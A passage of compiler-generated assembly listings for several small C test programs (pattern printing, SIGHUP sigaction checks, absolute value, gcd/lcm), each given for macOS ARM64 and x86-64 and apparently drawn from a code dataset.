## %bb.18: ## in Loop: Header=BB3_17 Depth=1 movl $0, -16(%rbp) LBB3_19: ## Parent Loop BB3_17 Depth=1 ## => This Inner Loop Header: Depth=2 movl -16(%rbp), %eax cmpl -8(%rbp), %eax jge LBB3_22 ## %bb.20: ## in Loop: Header=BB3_19 Depth=2 movq -24(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -16(%rbp), %rcx movq (%rax,%rcx,8), %rdi callq _free ## %bb.21: ## in Loop: Header=BB3_19 Depth=2 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB3_19 LBB3_22: ## in Loop: Header=BB3_17 Depth=1 movq -24(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdi callq _free movq -48(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdi callq _free ## %bb.23: ## in Loop: Header=BB3_17 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB3_17 LBB3_24: movq -24(%rbp), %rdi callq _free movq -56(%rbp), %rdi callq _free movq -48(%rbp), %rdi callq _free xorl %eax, %eax addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d%*c" L_.str.1: ## @.str.1 .asciz "%d" .subsections_via_symbols
the_stack_data/198581408.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] mov x9, sp sub x8, x29, #17 str x8, [x9] sub x8, x29, #16 str x8, [x9, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf stur wzr, [x29, #-8] b LBB0_1 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ldur w8, [x29, #-8] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_12 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 stur wzr, [x29, #-12] b LBB0_3 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-12] ldur w9, [x29, #-16] ldur w10, [x29, #-8] add w9, w9, w10 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_10 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=2 ldur w8, [x29, #-12] ldur w9, [x29, #-16] ldur w10, [x29, #-8] subs w9, w9, w10 subs w9, w9, #1 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=2 ldur w8, [x29, #-12] ldur w9, [x29, #-16] ldur w10, [x29, #-8] add w9, w9, w10 subs w9, w9, #1 subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_3 Depth=2 ldursb w8, [x29, #-17] ldur w9, [x29, #-8] add w10, w8, w9 mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_8 LBB0_7: ; in Loop: Header=BB0_3 Depth=2 adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB0_8 LBB0_8: ; in Loop: Header=BB0_3 Depth=2 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_3 Depth=2 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB0_3 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_11 LBB0_11: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB0_1 LBB0_12: ldur w8, [x29, #-16] stur w8, [x29, #-8] b LBB0_13 LBB0_13: ; =>This Loop Header: Depth=1 ; Child Loop BB0_15 Depth 2 ldur w8, [x29, #-8] ldur w10, [x29, #-16] mov w9, #2 mul w9, w9, w10 subs w9, w9, #1 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_24 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_13 Depth=1 stur wzr, [x29, #-12] b LBB0_15 LBB0_15: ; Parent Loop BB0_13 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-12] ldur w10, [x29, #-16] mov w9, #3 mul w9, w9, w10 ldur w10, [x29, #-8] subs w9, w9, w10 subs w9, w9, #2 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_22 b LBB0_16 LBB0_16: ; in Loop: Header=BB0_15 Depth=2 ldur w8, [x29, #-12] ldur w10, [x29, #-16] mov w9, #3 mul w9, w9, w10 ldur w10, [x29, #-8] subs w9, w9, w10 subs w9, w9, #3 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: ; in Loop: Header=BB0_15 Depth=2 ldur w8, [x29, #-12] ldur w9, [x29, #-8] ldur w10, [x29, #-16] subs w9, w9, w10 add w9, w9, #1 subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_19 b LBB0_18 LBB0_18: ; in Loop: Header=BB0_15 Depth=2 ldursb w8, [x29, #-17] ldur w9, [x29, #-16] add w8, w8, w9 subs w8, w8, #1 ldur w9, [x29, #-8] ldur w10, [x29, #-16] subs w9, w9, w10 add w9, w9, #1 subs w10, w8, w9 mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_20 LBB0_19: ; in Loop: Header=BB0_15 Depth=2 adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB0_20 LBB0_20: ; in Loop: Header=BB0_15 Depth=2 b LBB0_21 LBB0_21: ; in Loop: Header=BB0_15 Depth=2 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB0_15 LBB0_22: ; in Loop: Header=BB0_13 Depth=1 adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_23 LBB0_23: ; in Loop: Header=BB0_13 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB0_13 LBB0_24: mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%c%d" l_.str.1: ; @.str.1 .asciz "%c" l_.str.2: ; @.str.2 .asciz " " l_.str.3: ; @.str.3 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi leaq -17(%rbp), %rsi leaq -16(%rbp), %rdx movb $0, %al callq _scanf movl $0, -8(%rbp) LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 movl -8(%rbp), %eax cmpl -16(%rbp), %eax jge LBB0_12 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl $0, -12(%rbp) LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 movl -12(%rbp), %eax movl -16(%rbp), %ecx addl -8(%rbp), %ecx cmpl %ecx, %eax jge LBB0_10 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movl -12(%rbp), %eax movl -16(%rbp), %ecx subl -8(%rbp), %ecx subl $1, %ecx cmpl %ecx, %eax je LBB0_6 ## %bb.5: ## in Loop: Header=BB0_3 Depth=2 movl -12(%rbp), %eax movl -16(%rbp), %ecx addl -8(%rbp), %ecx subl $1, %ecx cmpl %ecx, %eax jne LBB0_7 LBB0_6: ## in Loop: Header=BB0_3 Depth=2 movsbl -17(%rbp), %esi addl -8(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf jmp LBB0_8 LBB0_7: ## in Loop: Header=BB0_3 Depth=2 leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB0_8: ## in Loop: Header=BB0_3 Depth=2 jmp LBB0_9 LBB0_9: ## in Loop: Header=BB0_3 Depth=2 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB0_3 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf ## %bb.11: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_1 LBB0_12: movl -16(%rbp), %eax movl %eax, -8(%rbp) LBB0_13: ## =>This Loop Header: Depth=1 ## Child Loop BB0_15 Depth 2 movl -8(%rbp), %eax movl -16(%rbp), %ecx shll $1, %ecx subl $1, %ecx cmpl %ecx, %eax jge LBB0_24 ## %bb.14: ## in Loop: Header=BB0_13 Depth=1 movl $0, -12(%rbp) LBB0_15: ## Parent Loop BB0_13 Depth=1 ## => This Inner Loop Header: Depth=2 movl -12(%rbp), %eax imull $3, -16(%rbp), %ecx subl -8(%rbp), %ecx subl $2, %ecx cmpl %ecx, %eax jge LBB0_22 ## %bb.16: ## in Loop: Header=BB0_15 Depth=2 movl -12(%rbp), %eax imull $3, -16(%rbp), %ecx subl -8(%rbp), %ecx subl $3, %ecx cmpl %ecx, %eax je LBB0_18 ## %bb.17: ## in Loop: Header=BB0_15 Depth=2 movl -12(%rbp), %eax movl -8(%rbp), %ecx subl -16(%rbp), %ecx addl $1, %ecx cmpl %ecx, %eax jne LBB0_19 LBB0_18: ## in Loop: Header=BB0_15 Depth=2 movsbl -17(%rbp), %esi addl -16(%rbp), %esi subl $1, %esi movl -8(%rbp), %eax subl -16(%rbp), %eax addl $1, %eax subl %eax, %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf jmp LBB0_20 LBB0_19: ## in Loop: Header=BB0_15 Depth=2 leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB0_20: ## in Loop: Header=BB0_15 Depth=2 jmp LBB0_21 LBB0_21: ## in Loop: Header=BB0_15 Depth=2 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB0_15 LBB0_22: ## in Loop: Header=BB0_13 Depth=1 leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf ## %bb.23: ## in Loop: Header=BB0_13 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_13 LBB0_24: xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%c%d" L_.str.1: ## @.str.1 .asciz "%c" L_.str.2: ## @.str.2 .asciz " " L_.str.3: ## @.str.3 .asciz "\n" .subsections_via_symbols
the_stack_data/870826.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _bar ; -- Begin function bar .p2align 2 _bar: ; @bar .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .globl _foo ; -- Begin function foo .p2align 2 _foo: ; @foo .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _baz bl _bar ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _spmd ; -- Begin function spmd .p2align 2 _spmd: ; @spmd .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str wzr, [sp, #12] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB2_4 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB2_1 LBB2_4: add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _bar ## -- Begin function bar .p2align 4, 0x90 _bar: ## @bar .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .globl _foo ## -- Begin function foo .p2align 4, 0x90 _foo: ## @foo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _baz callq _bar popq %rbp retq .cfi_endproc ## -- End function .globl _spmd ## -- Begin function spmd .p2align 4, 0x90 _spmd: ## @spmd .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $0, -4(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 cmpl $100, -4(%rbp) jge LBB2_4 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_3 LBB2_3: ## in Loop: Header=BB2_1 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) jmp LBB2_1 LBB2_4: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/103266390.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov w0, #1 mov x1, #0 add x2, sp, #32 bl _sigaction subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #1 bl _exit LBB0_2: ldr x8, [sp, #32] subs x8, x8, #1 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_3 LBB0_3: ldr x8, [sp, #32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldr x8, [sp, #32] mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf mov w0, #1 bl _exit LBB0_5: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf add x1, sp, #16 mov x2, #0 str xzr, [sp, #16] mov w0, #1 bl _sigaction subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf mov w0, #1 bl _exit LBB0_7: adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov w0, #1 mov x1, #0 add x2, sp, #32 bl _sigaction subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #1 bl _exit LBB0_9: ldr x8, [sp, #32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: ldr x8, [sp, #32] mov x9, sp str x8, [x9] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf mov w0, #1 bl _exit LBB0_11: mov w0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "sigaction (SIGHUP, NULL, &old_sa)...\n" l_.str.1: ; @.str.1 .asciz "cannot get signal action for SIGHUP: %m\n" l_.str.2: ; @.str.2 .asciz "SIGHUP action should be SIG_IGN, is %p\n" l_.str.3: ; @.str.3 .asciz "sigaction (SIGHUP, &new_sa, NULL)...\n" l_.str.4: ; @.str.4 .asciz "cannot set signal action for SIGHUP: %m\n" l_.str.5: ; @.str.5 .asciz "SIGHUP action should be SIG_DFL, is %p\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf movl $1, %edi xorl %eax, %eax movl %eax, %esi leaq -32(%rbp), %rdx callq _sigaction cmpl $0, %eax jge LBB0_2 ## %bb.1: leaq L_.str.1(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB0_2: movl $1, %eax cmpq %rax, -32(%rbp) je LBB0_5 ## %bb.3: cmpq $0, -32(%rbp) je LBB0_5 ## %bb.4: movq -32(%rbp), %rsi leaq L_.str.2(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB0_5: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movq $0, -48(%rbp) movl $1, %edi leaq -48(%rbp), %rsi xorl %eax, %eax movl %eax, %edx callq _sigaction cmpl $0, %eax jge LBB0_7 ## %bb.6: leaq L_.str.4(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB0_7: leaq L_.str(%rip), %rdi movb $0, %al callq _printf movl $1, %edi xorl %eax, %eax movl %eax, %esi leaq -32(%rbp), %rdx callq _sigaction cmpl $0, %eax jge LBB0_9 ## %bb.8: leaq L_.str.1(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB0_9: cmpq $0, -32(%rbp) je LBB0_11 ## %bb.10: movq -32(%rbp), %rsi leaq L_.str.5(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB0_11: xorl %eax, %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "sigaction (SIGHUP, NULL, &old_sa)...\n" L_.str.1: ## @.str.1 .asciz "cannot get signal action for SIGHUP: %m\n" L_.str.2: ## @.str.2 .asciz "SIGHUP action should be SIG_IGN, is %p\n" L_.str.3: ## @.str.3 .asciz "sigaction (SIGHUP, &new_sa, NULL)...\n" L_.str.4: ## @.str.4 .asciz "cannot set signal action for SIGHUP: %m\n" L_.str.5: ## @.str.5 .asciz "SIGHUP action should be SIG_DFL, is %p\n" .subsections_via_symbols
the_stack_data/1085516.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _g ; -- Begin function g .p2align 2 _g: ; @g .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] stur w2, [x29, #-20] str x3, [sp, #16] str x4, [sp, #8] ldr x8, [sp, #8] ldr x8, [x8] adrp x9, _g_list@PAGE add x9, x9, _g_list@PAGEOFF subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl _abort LBB0_2: ldr x8, [sp, #8] ldr x8, [x8] strb wzr, [x8] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] adrp x8, _g_list@PAGE add x8, x8, _g_list@PAGEOFF stur x8, [x29, #-16] mov w8, #100 str w8, [sp, #16] str wzr, [sp, #20] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-16] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_4 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 sub x4, x29, #16 ldur x8, [x29, #-16] str x8, [sp, #8] ldur x1, [x29, #-16] ldr w2, [sp, #16] mov x0, #0 add x3, sp, #24 bl _g ldur x8, [x29, #-16] ldr x9, [sp, #8] subs x9, x8, x9 ldrsw x8, [sp, #16] subs x8, x8, x9 ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #16] b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] b LBB1_1 LBB1_4: mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __DATA,__data .globl _g_list ; @g_list _g_list: .byte 49 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _g ## -- Begin function g .p2align 4, 0x90 _g: ## @g .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl %edx, -20(%rbp) movq %rcx, -32(%rbp) movq %r8, -40(%rbp) movq -40(%rbp), %rax leaq _g_list(%rip), %rcx cmpq %rcx, (%rax) je LBB0_2 ## %bb.1: callq _abort LBB0_2: movq -40(%rbp), %rax movq (%rax), %rax movb $0, (%rax) addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -4(%rbp) leaq _g_list(%rip), %rax movq %rax, -16(%rbp) movl $100, -32(%rbp) movl $0, -28(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB1_4 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq -16(%rbp), %rax movq %rax, -40(%rbp) movq -16(%rbp), %rsi movl -32(%rbp), %edx xorl %eax, %eax movl %eax, %edi leaq -24(%rbp), %rcx leaq -16(%rbp), %r8 callq _g movq -16(%rbp), %rcx movq -40(%rbp), %rax subq %rax, %rcx movslq -32(%rbp), %rax subq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -32(%rbp) ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) jmp LBB1_1 LBB1_4: xorl %eax, %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __DATA,__data .globl _g_list ## @g_list _g_list: .byte 49 .subsections_via_symbols
the_stack_data/807328.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl __abi ; -- Begin function _abi .p2align 2 __abi: ; @_abi .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] ldr w8, [sp, #12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w8, [sp, #12] str w8, [sp, #8] ; 4-byte Folded Spill b LBB0_3 LBB0_2: ldr w9, [sp, #12] mov w8, #0 subs w8, w8, w9 str w8, [sp, #8] ; 4-byte Folded Spill b LBB0_3 LBB0_3: ldr w0, [sp, #8] ; 4-byte Folded Reload add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl __abi ## -- Begin function _abi .p2align 4, 0x90 __abi: ## @_abi .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) cmpl $0, -4(%rbp) jl LBB0_2 ## %bb.1: movl -4(%rbp), %eax movl %eax, -8(%rbp) ## 4-byte Spill jmp LBB0_3 LBB0_2: xorl %eax, %eax subl -4(%rbp), %eax movl %eax, -8(%rbp) ## 4-byte Spill LBB0_3: movl -8(%rbp), %eax ## 4-byte Reload popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/75138102.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gcd ; -- Begin function gcd .p2align 2 _gcd: ; @gcd .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str w0, [sp, #8] str w1, [sp, #4] ldr w8, [sp, #8] ldr w10, [sp, #4] sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 str w8, [sp] ldr w8, [sp] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w0, [sp, #4] ldr w1, [sp] bl _gcd stur w0, [x29, #-4] b LBB0_3 LBB0_2: ldr w8, [sp, #4] stur w8, [x29, #-4] b LBB0_3 LBB0_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _solve ; -- Begin function solve .p2align 2 _solve: ; @solve .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] stur w1, [x29, #-8] stur wzr, [x29, #-12] str xzr, [sp, #8] ldur w0, [x29, #-4] ldur w1, [x29, #-8] bl _gcd stur w0, [x29, #-12] ldursw x8, [x29, #-4] ldursw x9, [x29, #-8] mul x8, x8, x9 ldursw x9, [x29, #-12] udiv x8, x8, x9 str x8, [sp, #8] ldr x0, [sp, #8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _test ; -- Begin function test .p2align 2 _test: ; @test .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 ldr w0, [sp, #12] add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 stur w8, [x29, #-20] ; 4-byte Folded Spill stur wzr, [x29, #-4] sub x10, x29, #8 stur wzr, [x29, #-8] sub x8, x29, #12 stur wzr, [x29, #-12] stur wzr, [x29, #-16] mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf stur w0, [x29, #-16] ldur w0, [x29, #-8] ldur w1, [x29, #-12] bl _solve mov x8, sp str x0, [x8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf ldur w0, [x29, #-20] ; 4-byte Folded Reload ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d %d" l_.str.1: ; @.str.1 .asciz "%llu" .subsections_via_symbols
